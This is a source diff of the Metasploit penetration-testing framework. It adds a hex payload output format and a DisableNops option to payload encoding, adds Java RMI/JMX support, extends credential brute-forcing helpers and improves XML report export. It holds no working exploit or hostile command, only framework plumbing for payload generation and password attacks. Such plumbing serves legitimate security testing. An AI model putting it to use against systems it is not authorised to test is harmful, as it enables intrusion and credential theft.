OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
], self.class)
end

View File

@ -25,6 +25,8 @@ module Buffer
when 'raw'
when 'num'
buf = Rex::Text.to_num(buf)
when 'hex'
buf = Rex::Text.to_hex(buf, '')
when 'dword', 'dw'
buf = Rex::Text.to_dword(buf)
when 'python', 'py'
@ -65,7 +67,7 @@ module Buffer
def self.comment(buf, fmt = "ruby")
case fmt
when 'raw'
when 'num', 'dword', 'dw'
when 'num', 'dword', 'dw', 'hex'
buf = Rex::Text.to_js_comment(buf)
when 'ruby', 'rb', 'python', 'py'
buf = Rex::Text.to_ruby_comment(buf)
@ -98,6 +100,7 @@ module Buffer
'csharp',
'dw',
'dword',
'hex',
'java',
'js_be',
'js_le',

View File

@ -51,12 +51,13 @@ module Payload
# Generate the payload
e = EncodedPayload.create(payload,
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'Encoder' => opts['Encoder'],
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'Encoder' => opts['Encoder'],
'Iterations' => opts['Iterations'],
'ForceEncode' => opts['ForceEncode'],
'Space' => opts['MaxSize'])
'DisableNops' => opts['DisableNops'],
'Space' => opts['MaxSize'])
fmt = opts['Format'] || 'raw'

View File

@ -75,6 +75,12 @@ require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# @param [Metasploit::Framework::CredentialCollection] cred_collection
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
def prepend_db_keys(cred_collection)
if prepend_db_creds?
each_ssh_cred do |cred|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
# @param [Metasploit::Credential::Core] cred the credential to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
@ -540,6 +540,13 @@ module Auxiliary::AuthBrute
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
end
# See #print_brute
def vprint_brute(opts={})
if datastore['VERBOSE']
print_brute(opts)
end
end
# Provides a consistant way to display messages about AuthBrute-mixed modules.
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
#

View File

@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
end
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
# out to a file and returns the {rex::quickfile} object.
# out to a file and returns the {Rex::Quickfile} object.
#
# @return [nilClass] if there is no active framework db connection
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file

View File

@ -113,13 +113,11 @@ module Auxiliary::Report
#
# Report a client connection
#
# opts must contain
# :host the address of the client connecting
# :ua_string a string that uniquely identifies this client
# opts can contain
# :ua_name a brief identifier for the client, e.g. "Firefox"
# :ua_ver the version number of the client, e.g. "3.0.11"
# @param opts [Hash] report client information based on user-agent
# @option opts [String] :host the address of the client connecting
# @option opts [String] :ua_string a string that uniquely identifies this client
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
#
def report_client(opts={})
return if not db
@ -161,7 +159,7 @@ module Auxiliary::Report
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for

View File

@ -43,6 +43,13 @@ class DataStore < Hash
super(find_key_case(k), v)
end
#
# Case-insensitive wrapper around delete
#
def delete(k)
super(find_key_case(k))
end
#
# Updates a value in the datastore with the specified name, k, to the

View File

@ -374,6 +374,18 @@ class Export
report_file.write(" #{el}\n")
end
# Notes attached to vulns instead of the host
report_file.write(" <notes>\n")
@notes.where(vuln_id: e.id).each do |note|
report_file.write(" <note>\n")
note.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
end
report_file.write(" </note>\n")
end
report_file.write(" </notes>\n")
# References
report_file.write(" <refs>\n")
e.refs.each do |ref|

Some files were not shown because too many files have changed in this diff Show More